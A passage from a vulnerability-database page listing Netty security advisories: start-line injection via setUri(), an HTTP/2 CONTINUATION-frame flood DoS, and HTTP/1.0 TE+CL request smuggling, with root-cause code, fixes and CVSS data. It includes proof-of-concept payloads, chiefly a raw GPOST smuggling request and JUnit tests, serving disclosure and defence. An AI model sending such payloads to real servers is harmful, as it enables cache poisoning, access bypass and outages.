in a single encoded payload:\n\n```text\nOPTIONS rtsp://cam/stream RTSP/1.0\nCSeq: 1\n\nDESCRIBE rtsp://cam/secret RTSP/1.0\nCSeq: 2\n\nOPTIONS rtsp://cam/final RTSP/1.0\n```\n\n`RtspDecoder` then parses this as three separate RTSP requests:\n\n- `OPTIONS rtsp://cam/stream`\n- `DESCRIBE rtsp://cam/secret`\n- `OPTIONS rtsp://cam/final`\n\nThis confirms that the same setter bypass is exploitable for RTSP request injection as well.\n\n### Impact\nThe vulnerable conditions are:\n\n- The application uses `DefaultHttpRequest` or `DefaultFullHttpRequest`\n- The request object is created first and later modified through `setUri()`\n- The value passed into `setUri()` is attacker-controlled or attacker-influenced\n- The object is eventually serialized by `HttpRequestEncoder` or `RtspEncoder`\n\nUnder those conditions, an attacker may be able to:\n\n- perform HTTP request smuggling\n- trigger proxy/backend desynchronization\n- inject additional requests toward internal APIs\n- confuse request boundaries and bypass assumptions around authentication or routing\n- inject RTSP requests\n\nThe exact impact depends on how the application constructs URIs and how the upstream/downstream HTTP or RTSP components parse request boundaries, but the security impact is real and reproducible.\n\n### Root Cause\nValidation is enforced only at object construction time, but not on the public mutation API that can break the same security invariant.\n\nAs a result, the constructors are safe while the public `setUri()` path is not, and the encoders trust and serialize the mutated value without revalidation.\n\n### Suggested Fix Direction\n`DefaultHttpRequest.setUri()` and all delegating/inheriting paths should apply the same request-line token validation as the constructors.\n\nRecommended regression coverage:\n\n- verify that `setUri()` rejects CRLF-containing input after object construction\n- verify that `DefaultFullHttpRequest.setUri()` is blocked as well\n- verify that spaces, `\\r`, `\\n`, and request-smuggling payloads are rejected\n- verify that both `HttpRequestEncoder` and `RtspEncoder` are protected from setter-based bypasses\n\n### Affected Area\n- `netty-codec-http`\n- `io.netty.handler.codec.http.DefaultHttpRequest`\n- `io.netty.handler.codec.http.DefaultFullHttpRequest`\n- `io.netty.handler.codec.http.HttpRequestEncoder`\n- `io.netty.handler.codec.rtsp.RtspEncoder`",
"id": "GHSA-v8h7-rr48-vmmv",
"modified": "2026-05-08T19:32:42Z",
"published": "2026-05-05T18:27:35Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-v8h7-rr48-vmmv"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41417"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Netty: Start-Line Injection in DefaultHttpRequest.setUri() Allows HTTP Request Smuggling and RTSP Request Injection"
}
GHSA-W9FJ-CFPG-GRVV
Vulnerability from github – Published: 2026-03-26 18:49 – Updated: 2026-03-27 21:48Summary
A remote user can trigger a Denial of Service (DoS) against a Netty HTTP/2 server by sending a flood of CONTINUATION frames. The server's lack of a limit on the number of CONTINUATION frames, combined with a bypass of existing size-based mitigations using zero-byte frames, allows an user to cause excessive CPU consumption with minimal bandwidth, rendering the server unresponsive.
Details
The vulnerability exists in Netty's DefaultHttp2FrameReader. When an HTTP/2 HEADERS frame is received without the END_HEADERS flag, the server expects one or more subsequent CONTINUATION frames. However, the implementation does not enforce a limit on the count of these CONTINUATION frames.
The key issue is located in codec-http2/src/main/java/io/netty/handler/codec/http2/DefaultHttp2FrameReader.java. The verifyContinuationFrame() method checks for stream association but fails to implement a frame count limit.
Any user can exploit this by sending a stream of CONTINUATION frames with a zero-byte payload. While Netty has a maxHeaderListSize protection to limit the total size of headers, this check is never triggered by zero-byte frames. The logic effectively evaluates to maxHeaderListSize - 0 < currentSize, which will not trigger the limit until a non-zero byte is added. As a result, the server is forced to process an unlimited number of frames, consuming a CPU thread and monopolizing the connection.
codec-http2/src/main/java/io/netty/handler/codec/http2/DefaultHttp2FrameReader.java
verifyContinuationFrame() (lines 381-393) — No frame count check:
private void verifyContinuationFrame() throws Http2Exception {
verifyAssociatedWithAStream();
if (headersContinuation == null) {
throw connectionError(PROTOCOL_ERROR, "...");
}
if (streamId != headersContinuation.getStreamId()) {
throw connectionError(PROTOCOL_ERROR, "...");
}
// NO frame count limit!
}
HeadersBlockBuilder.addFragment() (lines 695-723) — Byte limit bypassed by 0-byte frames:
// Line 710-711: This check NEVER fires when len=0
if (headersDecoder.configuration().maxHeaderListSizeGoAway() - len <
headerBlock.readableBytes()) {
headerSizeExceeded(); // 10240 - 0 < 1 => FALSE always
}
When len=0: maxGoAway - 0 < readableBytes → 10240 < 1 → FALSE. The byte limit is never triggered.
Impact
This is a CPU-based Denial of Service (DoS). Any service using Netty's default HTTP/2 server implementation is impacted. An unauthenticated user can exhaust server CPU resources and block legitimate users, leading to service unavailability. The low bandwidth requirement for the attack makes it highly practical.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.132.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c 4.2.10.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http2"
},
"ranges": [
{
"events": [
{
"introduced": "4.2.0.Alpha1"
},
{
"fixed": "4.2.11.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33871"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-26T18:49:21Z",
"nvd_published_at": "2026-03-27T20:16:34Z",
"severity": "HIGH"
},
"details": "### Summary\nA remote user can trigger a Denial of Service (DoS) against a Netty HTTP/2 server by sending a flood of `CONTINUATION` frames. The server\u0027s lack of a limit on the number of `CONTINUATION` frames, combined with a bypass of existing size-based mitigations using zero-byte frames, allows an user to cause excessive CPU consumption with minimal bandwidth, rendering the server unresponsive.\n\n### Details\nThe vulnerability exists in Netty\u0027s `DefaultHttp2FrameReader`. When an HTTP/2 `HEADERS` frame is received without the `END_HEADERS` flag, the server expects one or more subsequent `CONTINUATION` frames. However, the implementation does not enforce a limit on the *count* of these `CONTINUATION` frames.\n\nThe key issue is located in `codec-http2/src/main/java/io/netty/handler/codec/http2/DefaultHttp2FrameReader.java`. The `verifyContinuationFrame()` method checks for stream association but fails to implement a frame count limit.\n\nAny user can exploit this by sending a stream of `CONTINUATION` frames with a zero-byte payload. While Netty has a `maxHeaderListSize` protection to limit the total size of headers, this check is never triggered by zero-byte frames. The logic effectively evaluates to `maxHeaderListSize - 0 \u003c currentSize`, which will not trigger the limit until a non-zero byte is added. As a result, the server is forced to process an unlimited number of frames, consuming a CPU thread and monopolizing the connection.\n\n`codec-http2/src/main/java/io/netty/handler/codec/http2/DefaultHttp2FrameReader.java`\n\n**`verifyContinuationFrame()` (lines 381-393)** \u2014 No frame count check:\n```java\nprivate void verifyContinuationFrame() throws Http2Exception {\n verifyAssociatedWithAStream();\n if (headersContinuation == null) {\n throw connectionError(PROTOCOL_ERROR, \"...\");\n }\n if (streamId != headersContinuation.getStreamId()) {\n throw connectionError(PROTOCOL_ERROR, \"...\");\n }\n // NO frame count limit!\n}\n```\n\n**`HeadersBlockBuilder.addFragment()` (lines 695-723)** \u2014 Byte limit bypassed by 0-byte frames:\n```java\n// Line 710-711: This check NEVER fires when len=0\nif (headersDecoder.configuration().maxHeaderListSizeGoAway() - len \u003c\n headerBlock.readableBytes()) {\n headerSizeExceeded(); // 10240 - 0 \u003c 1 =\u003e FALSE always\n}\n```\n\nWhen `len=0`: `maxGoAway - 0 \u003c readableBytes` \u2192 `10240 \u003c 1` \u2192 FALSE. The byte limit is never triggered.\n\n### Impact\nThis is a CPU-based Denial of Service (DoS). Any service using Netty\u0027s default HTTP/2 server implementation is impacted. An unauthenticated user can exhaust server CPU resources and block legitimate users, leading to service unavailability. The low bandwidth requirement for the attack makes it highly practical.",
"id": "GHSA-w9fj-cfpg-grvv",
"modified": "2026-03-27T21:48:53Z",
"published": "2026-03-26T18:49:21Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-w9fj-cfpg-grvv"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33871"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Netty HTTP/2 CONTINUATION Frame Flood DoS via Zero-Byte Frame Bypass"
}
GHSA-XXQH-MFJM-7MV9
Vulnerability from github – Published: 2026-05-07 00:18 – Updated: 2026-05-14 20:41NETTY HTTP/1.0 TE+CL Coexistence Bypasses Smuggling Sanitization
| Field | Value |
|---|---|
| Library | io.netty:netty-codec-http |
| Component | codec-http — HttpObjectDecoder |
| Severity | HIGH |
| Affects | HEAD, commit 4f3533ae confirmed |
Summary
HttpObjectDecoder strips a conflicting Content-Length header when a request carries both Transfer-Encoding: chunked and Content-Length, but only for HTTP/1.1 messages. The guard is absent for HTTP/1.0. An attacker that sends an HTTP/1.0 request with both headers causes Netty to decode the body as chunked while leaving Content-Length intact in the forwarded HttpMessage. Any downstream proxy or handler that trusts Content-Length over Transfer-Encoding will disagree on message boundaries, enabling request smuggling.
Root Cause
// HttpObjectDecoder.java:828-833
if (HttpUtil.isTransferEncodingChunked(message)) {
this.chunked = true;
if (!contentLengthFields.isEmpty() && message.protocolVersion() == HttpVersion.HTTP_1_1) {
handleTransferEncodingChunkedWithContentLength(message); // strips CL — HTTP/1.1 only
}
return State.READ_CHUNK_SIZE;
}
// HttpObjectDecoder.java:870-873
protected void handleTransferEncodingChunkedWithContentLength(HttpMessage message) {
message.headers().remove(HttpHeaderNames.CONTENT_LENGTH);
contentLength = Long.MIN_VALUE;
}
The conflict-resolution path is gated on message.protocolVersion() == HttpVersion.HTTP_1_1. When the request declares HTTP/1.0, the condition is false, handleTransferEncodingChunkedWithContentLength is never called, and the Content-Length header survives into the forwarded message. Netty still processes the body as chunked; a downstream component that is CL-first interprets the same bytes as a separate request.
Proof of Concept
POST /api HTTP/1.0\r\n
Host: internal.example.com\r\n
Transfer-Encoding: chunked\r\n
Content-Length: 0\r\n
\r\n
5\r\n
GPOST\r\n
0\r\n
\r\n
Netty consumes the full chunked body (5 bytes + terminator). A downstream CL-first proxy reads Content-Length: 0, considers the request complete at the blank line, and treats 5\r\nGPOST\r\n0\r\n\r\n as the start of a second request.
Conditions Required
- Netty is deployed behind a reverse proxy or load balancer that is
Content-Length-first (nginx, some HAProxy configs, AWS ALB in certain modes). - Attacker can send HTTP/1.0 requests (either directly or by downgrading via connection manipulation).
- No additional HTTP/1.0 stripping layer between attacker and Netty.
Impact
Request smuggling at the Netty edge. Allows cache poisoning, session fixation against other users, unauthorized access to internal endpoints, and bypassing of WAF or authentication layers that inspect only the first logical request.
Confirmed PoC Test
Verified against HEAD (4f3533ae) using EmbeddedChannel. Both tests pass, confirming the vulnerability and the HTTP/1.1 contrast.
package io.netty.handler.codec.http;
import io.netty.buffer.Unpooled;
import io.netty.channel.embedded.EmbeddedChannel;
import io.netty.util.CharsetUtil;
import org.junit.jupiter.api.Test;
import static org.junit.jupiter.api.Assertions.*;
public class NettySmugglingSec001Test {
// VULNERABLE: Content-Length survives in HTTP/1.0 TE+CL conflict
@Test
public void http10_contentLengthNotStripped() {
EmbeddedChannel ch = new EmbeddedChannel(new HttpRequestDecoder());
ch.writeInbound(Unpooled.copiedBuffer(
"POST /api HTTP/1.0\r\n" +
"Transfer-Encoding: chunked\r\n" +
"Content-Length: 0\r\n" +
"\r\n" +
"5\r\nGPOST\r\n0\r\n\r\n", CharsetUtil.US_ASCII));
HttpRequest req = ch.readInbound();
assertEquals(HttpVersion.HTTP_1_0, req.protocolVersion());
// Content-Length: 0 survives — downstream CL-first proxy treats chunked body as new request
assertNotNull(req.headers().get(HttpHeaderNames.CONTENT_LENGTH), "VULNERABLE: CL not stripped");
ch.finishAndReleaseAll();
}
// SAFE: HTTP/1.1 correctly strips Content-Length on TE+CL conflict
@Test
public void http11_contentLengthStripped() {
EmbeddedChannel ch = new EmbeddedChannel(new HttpRequestDecoder());
ch.writeInbound(Unpooled.copiedBuffer(
"POST /api HTTP/1.1\r\n" +
"Transfer-Encoding: chunked\r\n" +
"Content-Length: 0\r\n" +
"\r\n" +
"5\r\nGPOST\r\n0\r\n\r\n", CharsetUtil.US_ASCII));
HttpRequest req = ch.readInbound();
assertNull(req.headers().get(HttpHeaderNames.CONTENT_LENGTH), "SAFE: CL correctly stripped");
ch.finishAndReleaseAll();
}
}
Fix Guidance
Remove the message.protocolVersion() == HttpVersion.HTTP_1_1 guard in HttpObjectDecoder, applying handleTransferEncodingChunkedWithContentLength unconditionally whenever both Transfer-Encoding: chunked and Content-Length are present, regardless of protocol version.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.2.12.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http"
},
"ranges": [
{
"events": [
{
"introduced": "4.2.0.Alpha1"
},
{
"fixed": "4.2.13.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.1.132.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.133.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-42581"
],
"database_specific": {
"cwe_ids": [
"CWE-444"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-07T00:18:41Z",
"nvd_published_at": "2026-05-13T19:17:23Z",
"severity": "MODERATE"
},
"details": "# NETTY HTTP/1.0 TE+CL Coexistence Bypasses Smuggling Sanitization\n\n| Field | Value |\n|-----------|-------|\n| Library | `io.netty:netty-codec-http` |\n| Component | `codec-http` \u2014 `HttpObjectDecoder` |\n| Severity | **HIGH** |\n| Affects | HEAD, commit `4f3533ae` confirmed |\n\n---\n\n## Summary\n\n`HttpObjectDecoder` strips a conflicting `Content-Length` header when a request carries both `Transfer-Encoding: chunked` and `Content-Length`, but only for HTTP/1.1 messages. The guard is absent for HTTP/1.0. An attacker that sends an HTTP/1.0 request with both headers causes Netty to decode the body as chunked while leaving `Content-Length` intact in the forwarded `HttpMessage`. Any downstream proxy or handler that trusts `Content-Length` over `Transfer-Encoding` will disagree on message boundaries, enabling request smuggling.\n\n---\n\n## Root Cause\n\n```java\n// HttpObjectDecoder.java:828-833\nif (HttpUtil.isTransferEncodingChunked(message)) {\n this.chunked = true;\n if (!contentLengthFields.isEmpty() \u0026\u0026 message.protocolVersion() == HttpVersion.HTTP_1_1) {\n handleTransferEncodingChunkedWithContentLength(message); // strips CL \u2014 HTTP/1.1 only\n }\n return State.READ_CHUNK_SIZE;\n}\n\n// HttpObjectDecoder.java:870-873\nprotected void handleTransferEncodingChunkedWithContentLength(HttpMessage message) {\n message.headers().remove(HttpHeaderNames.CONTENT_LENGTH);\n contentLength = Long.MIN_VALUE;\n}\n```\n\nThe conflict-resolution path is gated on `message.protocolVersion() == HttpVersion.HTTP_1_1`. When the request declares `HTTP/1.0`, the condition is false, `handleTransferEncodingChunkedWithContentLength` is never called, and the `Content-Length` header survives into the forwarded message. Netty still processes the body as chunked; a downstream component that is CL-first interprets the same bytes as a separate request.\n\n---\n\n## Proof of Concept\n\n```\nPOST /api HTTP/1.0\\r\\n\nHost: internal.example.com\\r\\n\nTransfer-Encoding: chunked\\r\\n\nContent-Length: 0\\r\\n\n\\r\\n\n5\\r\\n\nGPOST\\r\\n\n0\\r\\n\n\\r\\n\n```\n\nNetty consumes the full chunked body (5 bytes + terminator). A downstream CL-first proxy reads `Content-Length: 0`, considers the request complete at the blank line, and treats `5\\r\\nGPOST\\r\\n0\\r\\n\\r\\n` as the start of a second request.\n\n---\n\n## Conditions Required\n\n1. Netty is deployed behind a reverse proxy or load balancer that is `Content-Length`-first (nginx, some HAProxy configs, AWS ALB in certain modes).\n2. Attacker can send HTTP/1.0 requests (either directly or by downgrading via connection manipulation).\n3. No additional HTTP/1.0 stripping layer between attacker and Netty.\n\n---\n\n## Impact\n\nRequest smuggling at the Netty edge. Allows cache poisoning, session fixation against other users, unauthorized access to internal endpoints, and bypassing of WAF or authentication layers that inspect only the first logical request.\n\n---\n\n## Confirmed PoC Test\n\nVerified against HEAD (`4f3533ae`) using `EmbeddedChannel`. Both tests pass, confirming the vulnerability and the HTTP/1.1 contrast.\n\n```java\npackage io.netty.handler.codec.http;\n\nimport io.netty.buffer.Unpooled;\nimport io.netty.channel.embedded.EmbeddedChannel;\nimport io.netty.util.CharsetUtil;\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.*;\n\npublic class NettySmugglingSec001Test {\n\n // VULNERABLE: Content-Length survives in HTTP/1.0 TE+CL conflict\n @Test\n public void http10_contentLengthNotStripped() {\n EmbeddedChannel ch = new EmbeddedChannel(new HttpRequestDecoder());\n ch.writeInbound(Unpooled.copiedBuffer(\n \"POST /api HTTP/1.0\\r\\n\" +\n \"Transfer-Encoding: chunked\\r\\n\" +\n \"Content-Length: 0\\r\\n\" +\n \"\\r\\n\" +\n \"5\\r\\nGPOST\\r\\n0\\r\\n\\r\\n\", CharsetUtil.US_ASCII));\n\n HttpRequest req = ch.readInbound();\n assertEquals(HttpVersion.HTTP_1_0, req.protocolVersion());\n // Content-Length: 0 survives \u2014 downstream CL-first proxy treats chunked body as new request\n assertNotNull(req.headers().get(HttpHeaderNames.CONTENT_LENGTH), \"VULNERABLE: CL not stripped\");\n ch.finishAndReleaseAll();\n }\n\n // SAFE: HTTP/1.1 correctly strips Content-Length on TE+CL conflict\n @Test\n public void http11_contentLengthStripped() {\n EmbeddedChannel ch = new EmbeddedChannel(new HttpRequestDecoder());\n ch.writeInbound(Unpooled.copiedBuffer(\n \"POST /api HTTP/1.1\\r\\n\" +\n \"Transfer-Encoding: chunked\\r\\n\" +\n \"Content-Length: 0\\r\\n\" +\n \"\\r\\n\" +\n \"5\\r\\nGPOST\\r\\n0\\r\\n\\r\\n\", CharsetUtil.US_ASCII));\n\n HttpRequest req = ch.readInbound();\n assertNull(req.headers().get(HttpHeaderNames.CONTENT_LENGTH), \"SAFE: CL correctly stripped\");\n ch.finishAndReleaseAll();\n }\n}\n```\n\n---\n\n## Fix Guidance\n\nRemove the `message.protocolVersion() == HttpVersion.HTTP_1_1` guard in `HttpObjectDecoder`, applying `handleTransferEncodingChunkedWithContentLength` unconditionally whenever both `Transfer-Encoding: chunked` and `Content-Length` are present, regardless of protocol version.",
"id": "GHSA-xxqh-mfjm-7mv9",
"modified": "2026-05-14T20:41:05Z",
"published": "2026-05-07T00:18:41Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-xxqh-mfjm-7mv9"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42581"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Netty HTTP/1.0 TE+CL Coexistence Bypasses Smuggling Sanitization"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.